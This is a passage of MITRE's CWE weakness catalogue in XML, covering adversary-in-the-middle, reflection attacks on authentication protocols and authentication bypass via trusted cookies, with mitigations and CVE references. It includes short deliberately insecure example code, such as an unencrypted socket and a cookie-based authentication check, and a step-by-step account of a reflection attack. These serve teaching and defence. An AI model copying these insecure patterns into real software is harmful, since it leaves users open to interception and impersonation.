            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Leading Directory Dot Dot Backslash - '\directory\..\filename'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="300" Name="Channel Accessible by Non-Endpoint" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.</Description>
         <Extended_Description>In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Adversary-in-the-Middle / AITM</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Man-in-the-Middle / MITM</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Person-in-the-Middle / PITM</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Monkey-in-the-Middle</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Monster-in-the-Middle</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>On-path attack</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Interception attack</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could pose as one of the entities and read or possibly modify the communication.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Always fully authenticate both ends of any communications channel.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Adhere to the principle of complete mediation.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the Java snippet below, data is sent over an unencrypted channel to a remote server.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Socket sock;<xhtml:br/>PrintWriter out;<xhtml:br/>
                     <xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>sock = new Socket(REMOTE_HOST, REMOTE_PORT);<xhtml:br/>out = new PrintWriter(echoSocket.getOutputStream(), true);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// Write data to remote host via socket output stream.</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-1266</Reference>
               <Description>chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversry-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-1266</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Man-in-the-middle (MITM)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>32</Entry_ID>
               <Entry_Name>Routing Detour</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC06-J</Entry_ID>
               <Entry_Name>Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="466"/>
            <Related_Attack_Pattern CAPEC_ID="57"/>
            <Related_Attack_Pattern CAPEC_ID="589"/>
            <Related_Attack_Pattern CAPEC_ID="590"/>
            <Related_Attack_Pattern CAPEC_ID="612"/>
            <Related_Attack_Pattern CAPEC_ID="613"/>
            <Related_Attack_Pattern CAPEC_ID="615"/>
            <Related_Attack_Pattern CAPEC_ID="662"/>
            <Related_Attack_Pattern CAPEC_ID="94"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-244"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.</Note>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: CWE-300 is commonly misused for vulnerabilities in which the prerequisites for exploitation require the adversary to be in a privileged "in-the-middle" position.</xhtml:p>
               <xhtml:p>Comments: Consider root-cause weaknesses that allow adversary-in-the-middle attacks to happen.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Name, Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Man-in-the-middle (MITM)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Channel Accessible by Non-Endpoint (aka 'Man-in-the-Middle')</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Channel Accessible by Non-Endpoint ('Man-in-the-Middle')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="301" Name="Reflection Attack in an Authentication Protocol" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.</Description>
         <Extended_Description>
		   <xhtml:p>A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.</xhtml:p>
            <xhtml:p>Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.</xhtml:p>
		 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="327" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Let the initiator prove its identity before proceeding.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {<xhtml:div style="margin-left:1em;">const EVP_MD *m;<xhtml:br/>EVP_MD_CTX ctx;<xhtml:br/>unsigned char *ret;<xhtml:br/>OpenSSL_add_all_digests();<xhtml:br/>if (!(m = EVP_get_digestbyname(alg))) return NULL;<xhtml:br/>if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;<xhtml:br/>EVP_DigestInit(&amp;ctx, m);<xhtml:br/>EVP_DigestUpdate(&amp;ctx,buf,len);<xhtml:br/>EVP_DigestFinal(&amp;ctx,ret,olen);<xhtml:br/>return ret;</xhtml:div>}<xhtml:br/>unsigned char *generate_password_and_cmd(char *password_and_cmd) {<xhtml:div style="margin-left:1em;">simple_digest("sha1",password,strlen(password_and_cmd)<xhtml:br/>...<xhtml:br/>);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String command = new String("some cmd to execute &amp; the password") MessageDigest encer = MessageDigest.getInstance("SHA");<xhtml:br/>encer.update(command.getBytes("UTF-8"));<xhtml:br/>byte[] digest = encer.digest();</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-3435</Reference>
               <Description>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3435</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Reflection attack in an auth protocol</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="90"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Insufficient Validation&#34;, Page 38"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The term "reflection" is used in multiple ways within CWE and the community, so its usage should be reviewed.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="302" Name="Authentication Bypass by Assumed-Immutable Data" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="807" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Description>Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();<xhtml:br/>if (authenticated) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0367</Reference>
               <Description>DebPloit</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0367</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0261</Reference>
               <Description>Web auth</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0261</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1730</Reference>
               <Description>Authentication bypass by setting certain cookies to "true".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1730</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1734</Reference>
               <Description>Authentication bypass by setting certain cookies to "true".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1734</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2064</Reference>
               <Description>Admin access by setting a cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2064</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2054</Reference>
               <Description>Gain privileges by setting cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1611</Reference>
               <Description>Product trusts authentication information in cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1611</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1708</Reference>
               <Description>Authentication bypass by setting admin-testing variable to true.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1708</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1787</Reference>
               <Description>Bypass auth and gain privileges by setting a variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1787</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Authentication Bypass via Assumed-Immutable Data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC02-J</Entry_ID>
               <Entry_Name>Do not base security checks on untrusted sources</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="13"/>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="274"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="39"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="77"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
